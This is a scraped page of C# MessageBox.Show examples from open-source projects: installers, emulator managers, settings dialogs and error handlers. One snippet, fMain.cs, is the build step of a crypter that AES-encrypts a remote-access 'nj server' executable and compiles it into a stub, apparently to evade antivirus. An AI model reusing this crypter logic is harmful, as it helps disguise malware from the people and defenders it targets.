System.Windows.Forms.MessageBox.Show(string, string, System.Windows.Forms.MessageBoxButtons, System.Windows.Forms.MessageBoxIcon)

Here are the examples of the csharp api System.Windows.Forms.MessageBox.Show(string, string, System.Windows.Forms.MessageBoxButtons, System.Windows.Forms.MessageBoxIcon) taken from open source projects. By voting up you can indicate which examples are most useful and appropriate.

3348 Examples 7

19 View Source File : dlgSettings.cs
License : MIT License
Project Creator : 86Box

private void btnDefaults_Click(object sender, EventArgs e)
        {
            DialogResult result = MessageBox.Show("All settings will be reset to their default values. Do you wish to continue?", "Settings will be reset", MessageBoxButtons.YesNo, MessageBoxIcon.Warning);
            if (result == DialogResult.Yes)
            {
                ResetSettings();
            }
        }

19 View Source File : Program.cs
License : GNU General Public License v3.0
Project Creator : a4004

public static void Terminate()
        {
            TerminateSignal = true;

            if (AllowFileDebugging != 0 || MessageBox.Show("The internal debugger reports that the log contents are greater than 500kB, the log" +
                $" file size is estimated to be {DumpText.Length / 1000}kB, would you like to save the log file?", "Large File Warning",
                MessageBoxButtons.YesNoCancel, MessageBoxIcon.Warning) == DialogResult.Yes)
                File.WriteAllText($"dump-{DateTime.Now.Ticks}.log", DumpText);

            Environment.Exit(0);
        }

19 View Source File : Form1.cs
License : MIT License
Project Creator : 2401dem

private void button4_Click(object sender, EventArgs e)
        {
            if (IsFolder)
                if (textBox2.Text != "" && Directory.Exists(textBox2.Text))
                    System.Diagnostics.Process.Start(textBox2.Text);
                else
                    MessageBox.Show("Output folder does not exists", "Error", MessageBoxButtons.OK, MessageBoxIcon.Error);
            else
                if (textBox2.Text.LastIndexOf('\\') != -1 && Directory.Exists(textBox2.Text.Substring(0, textBox2.Text.LastIndexOf('\\'))))
                System.Diagnostics.Process.Start(textBox2.Text.Substring(0, textBox2.Text.LastIndexOf('\\')));
            else
                MessageBox.Show("Output folder does not exists", "Error", MessageBoxButtons.OK, MessageBoxIcon.Error);
        }

19 View Source File : dlgEditVM.cs
License : MIT License
Project Creator : 86Box

private void btnApply_Click(object sender, EventArgs e)
        {
            //Check if a VM with this name already exists
            if (!originalName.Equals(txtName.Text) && main.VMCheckIfExists(txtName.Text))
            {
                MessageBox.Show("A virtual machine with this name already exists. Please pick a different name.", "Error", MessageBoxButtons.OK, MessageBoxIcon.Error);
            }
            else if (txtName.Text.IndexOfAny(Path.GetInvalidFileNameChars()) >= 0)
            {
                MessageBox.Show("There are invalid characters in the name you specified. You can't use the following characters: \\ / : * ? \" < > |", "Error", MessageBoxButtons.OK, MessageBoxIcon.Error);
            }
            else
            {
                main.VMEdit(txtName.Text, txtDesc.Text);
                Close();
            }
        }

19 View Source File : UI.cs
License : GNU General Public License v3.0
Project Creator : 2dust

public static void Show(string msg)
        {
            MessageBox.Show(msg, "v2rayN", MessageBoxButtons.OK, MessageBoxIcon.Information);
        }

19 View Source File : Form1.cs
License : MIT License
Project Creator : 200Tigersbloxed

void runVerifyCheck()
        {
            if (verifyPermissions(bsl)) { }
            else
            {
                MessageBox.Show("Please run the installer as administrator to continue! (Beat Saber Folder Denied)", "Access Denied to Folder", MessageBoxButtons.OK, MessageBoxIcon.Error);
                Application.Exit();
            }
            if(Directory.Exists(AppDomain.CurrentDomain.BaseDirectory + @"\Files"))
            {
                if (verifyPermissions(AppDomain.CurrentDomain.BaseDirectory + @"\Files")) { }
                else
                {
                    MessageBox.Show("Please run the installer as administrator to continue! (Installer Folder Denied)", "Access Denied to Folder", MessageBoxButtons.OK, MessageBoxIcon.Error);
                    Application.Exit();
                }
            }
            else
            {
                Directory.CreateDirectory("Files");
                if (verifyPermissions(AppDomain.CurrentDomain.BaseDirectory + @"\Files")) { }
                else
                {
                    MessageBox.Show("Please run the installer as administrator to continue! (Installer Folder Denied)", "Access Denied to Folder", MessageBoxButtons.OK, MessageBoxIcon.Error);
                    Application.Exit();
                }
            }
        }

19 View Source File : SelectFm.cs
License : GNU General Public License v3.0
Project Creator : a4004

private void submit_Click(object sender, EventArgs e)
        {
            if (listView.SelectedItems.Count < 1)
                MessageBox.Show("You need to select a software image file to install on your Espressif device.",
                    "Please choose a version", MessageBoxButtons.OK, MessageBoxIcon.Information);
            else
                DialogResult = DialogResult.Yes;
        }

19 View Source File : Form2.cs
License : MIT License
Project Creator : 200Tigersbloxed

void UninstallMulti()
        {
            bool continuewithuninstall = false;
            statuslabel.Text = "Status: Preparing";
            progressBar1.Value = 25;
            allowinstalluninstall = false;
            currentlyinstallinguninstalling = true;
            button3.BackColor = SystemColors.GrayText;
            button4.BackColor = SystemColors.GrayText;
            statuslabel.Text = "Status: Uninstalling Multiplayer";
            progressBar1.Value = 50;
            if (multiselected == "a")
            {
                if(File.Exists(bsl + @"\Plugins\BeatSaberMultiplayer.dll"))
                {
                    File.Delete(bsl + @"\Plugins\BeatSaberMultiplayer.dll");
                    continuewithuninstall = true;
                }
                else
                {
                    DialogResult dialogResult2 = MessageBox.Show("Multiplayer was not found! Would you like to continue?", "Uh Oh!", MessageBoxButtons.YesNo, MessageBoxIcon.Question);
                    if(dialogResult2 == DialogResult.Yes)
                    {
                        continuewithuninstall = true;
                    }
                    else
                    {
                        continuewithuninstall = false; 
                    }
                }
            }
            if (multiselected == "z")
            {
                if (File.Exists(bsl + @"\Plugins\BeatSaberMultiplayerLite.dll"))
                {
                    File.Delete(bsl + @"\Plugins\BeatSaberMultiplayerLite.dll");
                    continuewithuninstall = true;
                }
                else
                {
                    DialogResult dialogResult2 = MessageBox.Show("Multiplayer Lite was not found! Would you like to continue?", "Uh Oh!", MessageBoxButtons.YesNo, MessageBoxIcon.Question);
                    if (dialogResult2 == DialogResult.Yes)
                    {
                        continuewithuninstall = true;
                    }
                    else
                    {
                        continuewithuninstall = false;
                    }
                }
            }
            statuslabel.Text = "Status: Uninstalling Dependencies";
            progressBar1.Value = 75;
            if (continuewithuninstall == true)
            {
                if(checkBox1.Checked == true)
                {
                    if(File.Exists(bsl + @"\Plugins\SongCore.dll"))
                    {
                        File.Delete(bsl + @"\Plugins\SongCore.dll");
                    }
                }
                if(checkBox2.Checked == true)
                {
                    if (File.Exists(bsl + @"\Plugins\BSML.dll"))
                    {
                        File.Delete(bsl + @"\Plugins\BSML.dll");
                    }
                }
                if(checkBox3.Checked == true)
                {
                    if (File.Exists(bsl + @"\Plugins\BS_Utils.dll"))
                    {
                        File.Delete(bsl + @"\Plugins\BS_Utils.dll");
                    }
                }
                if(checkBox4.Checked == true)
                {
                    if (File.Exists(bsl + @"\Plugins\CustomAvatar.dll"))
                    {
                        File.Delete(bsl + @"\Plugins\CustomAvatar.dll");
                    }
                    Directory.Delete(bsl + @"\DynamicOpenVR", true);
                }
                if(checkBox5.Checked == true)
                {
                    if (File.Exists(bsl + @"\Plugins\DiscordCore.dll"))
                    {
                        File.Delete(bsl + @"\Plugins\DiscordCore.dll");
                    }
                    Directory.Delete(bsl + @"\Libs\Native", true);
                }
                if(checkBox6.Checked == true)
                {
                    if (File.Exists(bsl + @"\Plugins\DynamicOpenVR.manifest"))
                    {
                        File.Delete(bsl + @"\Plugins\DynamicOpenVR.manifest");
                    }
                    if (File.Exists(bsl + @"\Libs\DynamicOpenVR.dll"))
                    {
                        File.Delete(bsl + @"\Libs\DynamicOpenVR.dll");
                    }
                }
                if(checkBox7.Checked == true)
                {
                    if(File.Exists(bsl + @"\Plugins\ScoreSaber.dll"))
                    {
                        File.Delete(bsl + @"\Plugins\ScoreSaber.dll");
                    }
                }
            }
            statuslabel.Text = "Status: Complete!";
            progressBar1.Value = 100;
            allowinstalluninstall = true;
            currentlyinstallinguninstalling = false;
            button3.BackColor = SystemColors.MenuHighlight;
            button4.BackColor = SystemColors.MenuHighlight;
            DialogResult dialogResult = MessageBox.Show("Multiplayer is uninstalled :( Would you like to exit?", "Complete!", MessageBoxButtons.YesNo, MessageBoxIcon.Question);
            if (dialogResult == DialogResult.Yes)
            {
                Application.Exit();
            }
        }

19 View Source File : RemoveInvalidFeature.cs
License : Microsoft Public License
Project Creator : achimismaili

private void btnScopeSelected_Click(object sender, EventArgs e)
        {
            string msgString = string.Empty;
            int featurefound = 0;

            this.Hide();
            try
            {
                if (radioScopeWeb.Checked)
                {
                    scopeWindowScope = SPFeatureScope.Web;
                }
                else
                {
                    if (radioScopeSite.Checked)
                    {
                        scopeWindowScope = SPFeatureScope.Site;
                    }
                    else
                    {
                        if (radioScopeWebApp.Checked)
                        {
                            scopeWindowScope = SPFeatureScope.WebApplication;
                        }
                        else
                        {
                            if (radioScopeFarm.Checked)
                            {
                                scopeWindowScope = SPFeatureScope.Farm;
                            }
                            else
                                msgString = "Error in scope selection! Task canceled";
                            MessageBox.Show(msgString);
                            ((FrmMain)parentWindow).logTxt(DateTime.Now.ToString(FrmMain.DATETIMEFORMAT) + " - " + msgString + Environment.NewLine);

                            return;
                        }
                    }
                }
                featurefound = parentWindow.RemoveFeaturesWithinFarm(featureID, scopeWindowScope);
                if (featurefound == 0)
                {
                    msgString = "Feature not found in Scope:'" + scopeWindowScope.ToString() + "'. Do you want to try something else?";
                    if (MessageBox.Show(msgString, "Warning", MessageBoxButtons.YesNo, MessageBoxIcon.Warning) == DialogResult.Yes)
                    {
                        this.Show();
                    }
                    else
                    {

                    }
                }
                else
                {
                    msgString = "Success! Feature was found and deactivated " + featurefound + " times in Scope:'" + scopeWindowScope.ToString() + "'!";
                    MessageBox.Show(msgString);
                    parentWindow.logTxt(DateTime.Now.ToString(FrmMain.DATETIMEFORMAT) + " - " + msgString + Environment.NewLine);

                    SPFarm.Local.FeatureDefinitions.Remove(featureID, true);
                    parentWindow.logTxt(DateTime.Now.ToString(FrmMain.DATETIMEFORMAT) + " - FeatureDefinition was uninstalled." + Environment.NewLine);

                }
            }
            catch
            {
            }
            finally
            {
                        this.Close();
                        this.Dispose();
            }

        }

19 View Source File : Form2.cs
License : MIT License
Project Creator : 200Tigersbloxed

void InstallMulti()
        {
                statuslabel.Text = "Status: Preparing";
            progressBar1.Value = 10;
                allowinstalluninstall = false;
                currentlyinstallinguninstalling = true;
                button3.BackColor = SystemColors.GrayText;
                button4.BackColor = SystemColors.GrayText;
                Directory.CreateDirectory("Files");
                DirectoryInfo di = new DirectoryInfo("Files");
                foreach (FileInfo file in di.GetFiles())
                {
                    file.Delete();
                }
                foreach (DirectoryInfo dir in di.GetDirectories())
                {
                    dir.Delete(true);
                }
                Directory.CreateDirectory(@"Files\multiplayer");
                Directory.CreateDirectory(@"Files\dovr");
                Directory.CreateDirectory(@"Files\ca");
                Directory.CreateDirectory(@"Files\dc");
                Directory.CreateDirectory(@"Files\dep");
                statuslabel.Text = "Status: Downloading Multiplayer 1/6";
            progressBar1.Value = 20;
            using (var wc = new WebClient())
                {
                    wc.DownloadFileCompleted += new AsyncCompletedEventHandler(wc_DownloadCompleted);
                    wc.DownloadProgressChanged += wc_DownloadProgressChanged;
                    if(multiselected == "a") {
                        if(File.Exists(bsl + @"\Plugins\BeatSaberMultiplayerLite.dll"))
                        {
                        statuslabel.Text = "Status: Failed";
                        allowinstalluninstall = true;
                        currentlyinstallinguninstalling = false;
                        button3.BackColor = SystemColors.MenuHighlight;
                        button4.BackColor = SystemColors.MenuHighlight;
                        MessageBox.Show("Beat Saber Multiplayer Lite is installed! Installation Failed. Please Uninstall Zingabopp's Multiplayer Lite to continue installing Andruzzzhka's Multiplayer", "Uh Oh!", MessageBoxButtons.OK, MessageBoxIcon.Error);
                        }
                        else
                        {
                            wc.DownloadFileAsync(new System.Uri("https://tigersserver.xyz/andruzzzhkalatest"), AppDomain.CurrentDomain.BaseDirectory + @"\Files\multiplayer.zip");
                        }
                    }
                    else if(multiselected == "z")
                    {
                        if (File.Exists(bsl + @"\Plugins\BeatSaberMultiplayer.dll"))
                        {
                        statuslabel.Text = "Status: Failed";
                        allowinstalluninstall = true;
                        currentlyinstallinguninstalling = false;
                        button3.BackColor = SystemColors.MenuHighlight;
                        button4.BackColor = SystemColors.MenuHighlight;
                        MessageBox.Show("Beat Saber Multiplayer is installed! Installation Failed. Please Uninstall Andruzzzhka's Multiplayer to continue installing Zingabopp's Multiplayer Lite", "Uh Oh!", MessageBoxButtons.OK, MessageBoxIcon.Error);
                        }
                        else
                        {
                            wc.DownloadFileAsync(new System.Uri("https://tigersserver.xyz/zingabopplatest"), AppDomain.CurrentDomain.BaseDirectory + @"\Files\multiplayer.zip");
                        }
                    }
                }
        }

19 View Source File : dlgAddVM.cs
License : MIT License
Project Creator : 86Box

private void btnAdd_Click(object sender, EventArgs e)
        {
            if (main.VMCheckIfExists(txtName.Text))
            {
                MessageBox.Show("A virtual machine with this name already exists. Please pick a different name.", "Error", MessageBoxButtons.OK, MessageBoxIcon.Error);
                return;
            }
            if (txtName.Text.IndexOfAny(Path.GetInvalidFileNameChars()) >= 0)
            {
                MessageBox.Show("There are invalid characters in the name you specified. You can't use the following characters: \\ / : * ? \" < > |", "Error", MessageBoxButtons.OK, MessageBoxIcon.Error);
                return;
            }
            if (existingVM && string.IsNullOrWhiteSpace(txtImportPath.Text))
            {
                MessageBox.Show("If you wish to import VM files, you must specify a path.", "Error", MessageBoxButtons.OK, MessageBoxIcon.Error);
                return;
            }

            if (existingVM)
            {
                main.VMImport(txtName.Text, txtDescription.Text, txtImportPath.Text, cbxOpenCFG.Checked, cbxStartVM.Checked);
            }
            else
            {
                main.VMAdd(txtName.Text, txtDescription.Text, cbxOpenCFG.Checked, cbxStartVM.Checked);
            }
            Close();
        }

19 View Source File : UI.cs
License : GNU General Public License v3.0
Project Creator : 2dust

public static void ShowError(string msg)
        {
            MessageBox.Show(msg, "v2rayN", MessageBoxButtons.OK, MessageBoxIcon.Error);
        }

19 View Source File : Form1.cs
License : MIT License
Project Creator : 200Tigersbloxed

private void button2_Click(object sender, EventArgs e)
        {
            //Find the Oculus Folder
            RegistryKey rk1s = RegistryKey.OpenBaseKey(RegistryHive.LocalMachine, RegistryView.Registry64);
            if (rk1s != null)
            {
                RegistryKey rk2 = rk1s.OpenSubKey("Software");
                if (rk2 != null)
                {
                    RegistryKey rk3 = rk2.OpenSubKey("WOW6432Node");
                    if (rk3 != null)
                    {
                        RegistryKey rk4 = rk3.OpenSubKey("Oculus VR, LLC");
                        if (rk4 != null)
                        {
                            RegistryKey rk5 = rk4.OpenSubKey("Oculus");
                            if(rk5 != null)
                            {
                                RegistryKey rk6 = rk5.OpenSubKey("Config");
                                if(rk6 != null)
                                {
                                    userownsoculus = true;
                                    string phrase = rk6.GetValue("InitialAppLibrary").ToString();
                                    oculusinstallpath = phrase;
                                }
                            }
                        }
                    }
                }
            }

            if (userownsoculus == false)
            {
                MessageBox.Show("Oculus Could not be found!", "Uh Oh!", MessageBoxButtons.OK, MessageBoxIcon.Error);
            }
            else
            {
                bsl = oculusinstallpath + @"/Software/Software/hyperbolic-magnetism-beat-saber";
                if (Directory.Exists(bsl))
                {
                    if (File.Exists(bsl + @"\Beat Saber.exe"))
                    {
                        if (File.Exists(bsl + @"\IPA.exe"))
                        {
                            textBox1.Text = bsl;
                            pictureBox1.Image = BSMulti_Installer2.Properties.Resources.tick;
                            button4.BackColor = SystemColors.MenuHighlight;
                            allownext = true;
                            runVerifyCheck();
                            findMultiplayerVersion();
                        }
                        else
                        {
                            MessageBox.Show("IPA.exe Could not be found! Is Beat Saber Modded?", "Uh Oh!", MessageBoxButtons.OK, MessageBoxIcon.Error);
                        }
                    }
                    else
                    {
                        MessageBox.Show("Beat Saber.exe Could not be found! Is Beat Saber Installed?", "Uh Oh!", MessageBoxButtons.OK, MessageBoxIcon.Error);
                    }
                }
                else
                {
                    MessageBox.Show("Beat Saber Could not be found! Is Beat Saber Installed under Oculus?", "Uh Oh!", MessageBoxButtons.OK, MessageBoxIcon.Error);
                    bsl = "";
                }
            }
        }

19 View Source File : dlgSettings.cs
License : MIT License
Project Creator : 86Box

private bool SaveSettings()
        {
            if (cbxLogging.Checked && string.IsNullOrWhiteSpace(txtLogPath.Text))
            {
                DialogResult result = MessageBox.Show("Using an empty or whitespace string for the log path will prevent 86Box from logging anything. Are you sure you want to use this path?", "Warning", MessageBoxButtons.YesNo, MessageBoxIcon.Warning);
                if (result == DialogResult.No)
                {
                    return false;
                }
            }
            if (!File.Exists(txtEXEdir.Text + "86Box.exe") && !File.Exists(txtEXEdir.Text + @"\86Box.exe"))
            {
                DialogResult result = MessageBox.Show("86Box.exe could not be found in the directory you specified, so you won't be able to use any virtual machines. Are you sure you want to use this path?", "Warning", MessageBoxButtons.YesNo, MessageBoxIcon.Warning);
                if (result == DialogResult.No)
                {
                    return false;
                }
            }
            try
            {
                RegistryKey regkey = Registry.CurrentUser.OpenSubKey(@"SOFTWARE\86Box", true); //Try to open the key first (in read-write mode) to see if it already exists
                if (regkey == null) //Regkey doesn't exist yet, must be created first and then reopened
                {
                    Registry.CurrentUser.CreateSubKey(@"SOFTWARE\86Box");
                    regkey = Registry.CurrentUser.OpenSubKey(@"SOFTWARE\86Box", true);
                    regkey.CreateSubKey("Virtual Machines");
                }

                //Store the new values, close the key, changes are saved
                regkey.SetValue("EXEdir", txtEXEdir.Text, RegistryValueKind.String);
                regkey.SetValue("CFGdir", txtCFGdir.Text, RegistryValueKind.String);
                regkey.SetValue("MinimizeOnVMStart", cbxMinimize.Checked, RegistryValueKind.DWord);
                regkey.SetValue("ShowConsole", cbxShowConsole.Checked, RegistryValueKind.DWord);
                regkey.SetValue("MinimizeToTray", cbxMinimizeTray.Checked, RegistryValueKind.DWord);
                regkey.SetValue("CloseToTray", cbxCloseTray.Checked, RegistryValueKind.DWord);
                regkey.SetValue("LaunchTimeout", Convert.ToInt32(txtLaunchTimeout.Text), RegistryValueKind.DWord);
                regkey.SetValue("EnableLogging", cbxLogging.Checked, RegistryValueKind.DWord);
                regkey.SetValue("LogPath", txtLogPath.Text, RegistryValueKind.String);
                regkey.SetValue("EnableGridLines", cbxGrid.Checked, RegistryValueKind.DWord);
                regkey.Close();

                settingsChanged = CheckForChanges();
            }
            catch (Exception ex)
            {
                MessageBox.Show("An error has occurred. Please provide the following information to the developer:\n" + ex.Message + "\n" + ex.StackTrace, "Error", MessageBoxButtons.OK, MessageBoxIcon.Error);
                return false;
            }
            finally
            {
                Get86BoxVersion(); //Get the new exe version in any case
            }
            return true;
        }

19 View Source File : fMain.cs
License : MIT License
Project Creator : 0xPh0enix

private void bCrypt_Click(object sender, EventArgs e)
        {
            if (!File.Exists(tServer.Text))
            {
                MessageBox.Show("Error, server is not exists!", "", MessageBoxButtons.OK, MessageBoxIcon.Error);
                return;
            }

            if (!File.Exists(tIcon.Text) && tIcon.Text.Trim() != "")
            {
                MessageBox.Show("Error, icon is not exists!", "", MessageBoxButtons.OK, MessageBoxIcon.Error);
                return;
            }


            using (SaveFileDialog fSaveDialog = new SaveFileDialog())
            {

                fSaveDialog.Filter = "Executable (*.exe)|*.exe";
                fSaveDialog.replacedle = "Save crypted Server...";

                if (fSaveDialog.ShowDialog() == DialogResult.OK)
                {

                    string sFileName = cUtils.GenStr(8);
                    string sKey = cUtils.GenStr(40);

                    string sStub = Properties.Resources.Stub

                        .Replace("%RES_NAME%", sFileName)
                        .Replace("%ENC_KEY%", sKey);

                    File.WriteAllBytes(sFileName, nAES256.cAES256.Encrypt(File.ReadAllBytes(tServer.Text), System.Text.Encoding.Default.GetBytes(sKey)));


                    using (CSharpCodeProvider csCodeProvider = new CSharpCodeProvider(new Dictionary<string, string>
            {
                {"CompilerVersion", "v2.0"}
            }))
                    {
                        CompilerParameters cpParams = new CompilerParameters(null, fSaveDialog.FileName, true);


                        if (tIcon.Text.Trim() == "")
                            cpParams.CompilerOptions = "/t:winexe /unsafe /platform:x86 /debug-";
                        else
                            cpParams.CompilerOptions = "/t:winexe /unsafe /platform:x86 /debug- /win32icon:\"" + tIcon.Text + "\"";

                        cpParams.Referencedreplacedemblies.Add("System.dll");
                        cpParams.Referencedreplacedemblies.Add("System.Management.dll");
                        cpParams.Referencedreplacedemblies.Add("System.Windows.Forms.dll");

                        cpParams.EmbeddedResources.Add(sFileName);

                        csCodeProvider.CompilereplacedemblyFromSource(cpParams, sStub);

                        MessageBox.Show("Your nj server crypted successfully!", "OK", MessageBoxButtons.OK, MessageBoxIcon.Information);
                    }

                    File.Delete(sFileName);
                }

            }
        }

19 View Source File : ZUART.cs
License : MIT License
Project Creator : a2633063

public bool SendData(byte[] data)
        {
            if (ComDevice.IsOpen)
            {
                try
                {
                    ComDevice.Write(data, 0, data.Length);//发送数据
                    return true;
                }
                catch (Exception ex)
                {
                    MessageBox.Show(ex.Message, "错误", MessageBoxButtons.OK, MessageBoxIcon.Error);
                }
            }
            else
            {
                //MessageBox.Show("串口未打开", "错误", MessageBoxButtons.OK, MessageBoxIcon.Error);
                AddContent("串口未打开\r\n");
            }
            return false;
        }

19 View Source File : CentralServerConfigForm.cs
License : Apache License 2.0
Project Creator : 214175590

private void CentralServerConfigForm_DragDrop(object sender, DragEventArgs e)
        {
            try
            {
                String[] files = e.Data.GetData(DataFormats.FileDrop, false) as String[];
                YmlFile yml = null;
                FileInfo file = null;
                FileInfo firstFile = null;
                ListViewItem item = null;
                // Copy file from external application   
                foreach (string srcfile in files)
                {
                    try
                    {
                        file = new FileInfo(srcfile);                        
                        yml = new YmlFile();
                        yml.correct = true;
                        yml.localName = file.Name;
                        yml.localPath = file.DirectoryName.Replace("\\", "/") + "/";
                        yml.remoteName = "";
                        yml.remotePath = "";
                        yml.status = YmlFileState.NoModif;

                        if (!existFile(yml))
                        {
                            item = new ListViewItem();
                            item.Text = file.Name;
                            item.Tag = yml;
                            item.ImageIndex = 1;

                            if (null == firstFile)
                            {
                                firstFile = file;
                            }

                            listView1.Items.Add(item);
                        }                     
                    }
                    catch { }
                }

                if (null != firstFile)
                {
                    listView1.Items[0].Selected = true;
                }
            }
            catch (Exception e1)
            {
                MessageBox.Show(e1.Message, " Error ",
                MessageBoxButtons.OK, MessageBoxIcon.Error);
            }  
        }

19 View Source File : Program.cs
License : GNU General Public License v3.0
Project Creator : a4004

public static void Debug(string message, Event type = Event.Default)
        {
            DumpText += $"[ {DateTime.Now}]\t{message}\r\n";

            if (DumpText.Length > 500000 && AllowFileDebugging == -1)
            {
                if (MessageBox.Show("The internal debugger has detected that log contents are greater than 500kB," +
                    " would you like debugging to continue anyway?", "Large File Warning", MessageBoxButtons.YesNoCancel, MessageBoxIcon.Warning)
                    == DialogResult.No)
                    AllowFileDebugging = 0;
                else
                    AllowFileDebugging = 1;
            }

            Console.Write($"[ {DateTime.Now}]\t");
            AdjustColor(type);
            Console.Write($"{message}\r\n");
            Console.ForegroundColor = Default;
        }

19 View Source File : Ribbon.cs
License : GNU General Public License v3.0
Project Creator : 0dteam

public void reportPhishing(Office.IRibbonControl control)
        {
            var areYouSure = MessageBox.Show("Do you want to report this email to the Information Security Team as a potential phishing attempt?", "Are you sure?", MessageBoxButtons.YesNo, MessageBoxIcon.Question);
            if(areYouSure == DialogResult.Yes)
            {
                reportPhishingEmailToSecurityTeam(control);
            }
        }

19 View Source File : RemoveInvalidFeature.cs
License : Microsoft Public License
Project Creator : achimismaili

private void btnScopeUnknown_Click(object sender, EventArgs e)
        {
            string msgString = "All scopes will be checked for this feature. This might take a while. Continue?";
            if (MessageBox.Show(msgString, "Warning", MessageBoxButtons.YesNo, MessageBoxIcon.Warning) == DialogResult.Yes)
            {
                this.Hide();
                try
                {
                    // search all webs
                    if (!tryToRemove(featureID, SPFeatureScope.Web))
                    {
                        // search all Sites     
                        if (!tryToRemove(featureID, SPFeatureScope.Site))
                        {


                            // search all Web Applications     
                            if (!tryToRemove(featureID, SPFeatureScope.WebApplication))
                            {
                                // search in Farm Scope     
                                tryToRemove(featureID, SPFeatureScope.Farm);
                            }
                        }
                    }

                    SPFarm.Local.FeatureDefinitions.Remove(featureID, true);
                    parentWindow.logTxt(DateTime.Now.ToString(FrmMain.DATETIMEFORMAT) + " - FeatureDefinition was uninstalled." + Environment.NewLine);
                    this.Close();
                    this.Dispose();
                }

                catch
                {
                    parentWindow.logTxt(DateTime.Now.ToString(FrmMain.DATETIMEFORMAT) + " - An error occured iterating through the features ..." + Environment.NewLine);

                }
                finally
                {
                    this.Close();
                    this.Dispose();
                }
            }
        }

19 View Source File : Program.cs
License : Apache License 2.0
Project Creator : 214175590

static void Application_ThreadException(object sender, System.Threading.ThreadExceptionEventArgs e)
        {
            string str = GetExceptionMsg(e.Exception, e.ToString());
            MessageBox.Show(str, "系统错误", MessageBoxButtons.OK, MessageBoxIcon.Error);
            logger.Error(str);
        }

19 View Source File : Program.cs
License : Apache License 2.0
Project Creator : 214175590

static void CurrentDomain_UnhandledException(object sender, UnhandledExceptionEventArgs e)
        {
            string str = GetExceptionMsg(e.ExceptionObject as Exception, e.ToString());
            MessageBox.Show(str, "系统错误", MessageBoxButtons.OK, MessageBoxIcon.Error);
            logger.Error(str);
        }

19 View Source File : settings.cs
License : GNU General Public License v3.0
Project Creator : 0x2b00b1e5

private void dangerZone_enable_CheckedChanged(object sender, EventArgs e)
        {
            if (dangerZone_enable.Checked){
                if(!xml.AcceptedWarning)
                {
                    DialogResult r = MessageBox.Show("You are entering the Danger Zone! Changing these settings without knowing what they do can break the program! Do you accept the risks?", "DANGER ZONE!", MessageBoxButtons.YesNo, MessageBoxIcon.Warning);
                    if (r != DialogResult.Yes)
                    {
                        dangerZone_enable.Checked = false;
                        return;
                    }
                }
                groupBox3.Enabled = true;
                xml.AcceptedWarning = true;
                SaveSettings();
            }
            else
            {
                groupBox3.Enabled = false;
                xml.AcceptedWarning = false;
            }
        }

19 View Source File : UI.cs
License : GNU General Public License v3.0
Project Creator : 2dust

public static void ShowWarning(string msg)
        {
            MessageBox.Show(msg, "v2rayN", MessageBoxButtons.OK, MessageBoxIcon.Warning);
        }

19 View Source File : Form2.cs
License : MIT License
Project Creator : 200Tigersbloxed

void InstallMultiContinued()
        {
            statuslabel.Text = "Status: Extracting Files";
            progressBar1.Value = 80;
            DirectoryInfo di = new DirectoryInfo(AppDomain.CurrentDomain.BaseDirectory + @"\Files");
            foreach (FileInfo file in di.GetFiles())
            {
                string[] splitdot = file.Name.Split('.');
                if (splitdot[1] == "zip")
                {
                    ZipFile.ExtractToDirectory(AppDomain.CurrentDomain.BaseDirectory + @"\Files\" + splitdot[0] + @".zip", @"Files\" + splitdot[0]);
                }
            }
            statuslabel.Text = "Status: Moving Files";
            progressBar1.Value = 90;
            foreach (DirectoryInfo dir in di.GetDirectories())
            {
                if (multiselected == "a")
                {
                    if (dir.Name == "ca")
                    {
                        DirectoryInfo cadi = new DirectoryInfo(AppDomain.CurrentDomain.BaseDirectory + @"\Files\ca");
                        if (Directory.Exists(bsl + @"\CustomAvatars"))
                        {
                            // dont u dare delete someone's custom avatars folder
                        }
                        else
                        {
                            Microsoft.VisualBasic.FileIO.FileSystem.MoveDirectory(AppDomain.CurrentDomain.BaseDirectory + @"\Files\ca\CustomAvatars", bsl + @"\CustomAvatars");
                        }
                        if (Directory.Exists(bsl + @"\DynamicOpenVR"))
                        {
                            Directory.Delete(bsl + @"\DynamicOpenVR", true);
                            Microsoft.VisualBasic.FileIO.FileSystem.MoveDirectory(AppDomain.CurrentDomain.BaseDirectory + @"\Files\ca\DynamicOpenVR", bsl + @"\DynamicOpenVR");
                        }
                        else
                        {
                            Microsoft.VisualBasic.FileIO.FileSystem.MoveDirectory(AppDomain.CurrentDomain.BaseDirectory + @"\Files\ca\DynamicOpenVR", bsl + @"\DynamicOpenVR");
                        }
                        foreach (DirectoryInfo cadir in cadi.GetDirectories())
                        {
                            if (cadir.Name == "Plugins")
                            {
                                // Don't move CustomAvatar's DLL
                            }
                        }
                    }
                }
                if(dir.Name == "dc")
                {
                    DirectoryInfo dcdi = new DirectoryInfo(AppDomain.CurrentDomain.BaseDirectory + @"Files\dc");
                    foreach (DirectoryInfo dcdir in dcdi.GetDirectories())
                    {
                    if (dcdir.Name == "Plugins")
                    {
                         foreach (FileInfo file in dcdir.GetFiles())
                         {
                            if (File.Exists(bsl + @"\Plugins\" + file.Name)) {
                                    File.Delete(bsl + @"\Plugins\" + file.Name);
                                    File.Move(file.FullName, bsl + @"\Plugins\" + file.Name);
                                }
                               else
                                {
                                   File.Move(file.FullName, bsl + @"\Plugins\" + file.Name);
                                }
                            }
                         }
                            if (dcdir.Name == "Libs")
                            {
                                foreach (DirectoryInfo dcnativedir in dcdir.GetDirectories())
                                {
                                    if (Directory.Exists(bsl + @"\Libs\Native")) {
                                    Directory.Delete(bsl + @"\Libs\Native", true);
                                    Microsoft.VisualBasic.FileIO.FileSystem.MoveDirectory(AppDomain.CurrentDomain.BaseDirectory + @"\Files\dc\Libs\Native", bsl + @"\Libs\Native");
                                }
                                    else
                                    {
                                        Microsoft.VisualBasic.FileIO.FileSystem.MoveDirectory(AppDomain.CurrentDomain.BaseDirectory + @"\Files\dc\Libs\Native", bsl + @"\Libs\Native");
                                    }
                                }
                            }
                        }
                    }
                    if(dir.Name == "dep")
                    {
                        DirectoryInfo depdi = new DirectoryInfo(AppDomain.CurrentDomain.BaseDirectory + @"Files\dep\dep");
                        foreach (DirectoryInfo depdir in depdi.GetDirectories())
                        {
                            if (depdir.Name == "Plugins")
                            {
                                foreach (FileInfo file in depdir.GetFiles())
                                {
                                    if (File.Exists(bsl + @"\Plugins\" + file.Name)) {
                                    File.Delete(bsl + @"\Plugins\" + file.Name);
                                    File.Move(file.FullName, bsl + @"\Plugins\" + file.Name);
                                }
                                    else
                                    {
                                        File.Move(file.FullName, bsl + @"\Plugins\" + file.Name);
                                    }
                                }
                            }
                        }
                    }
                if (multiselected == "a")
                {
                    if (dir.Name == "dovr")
                    {
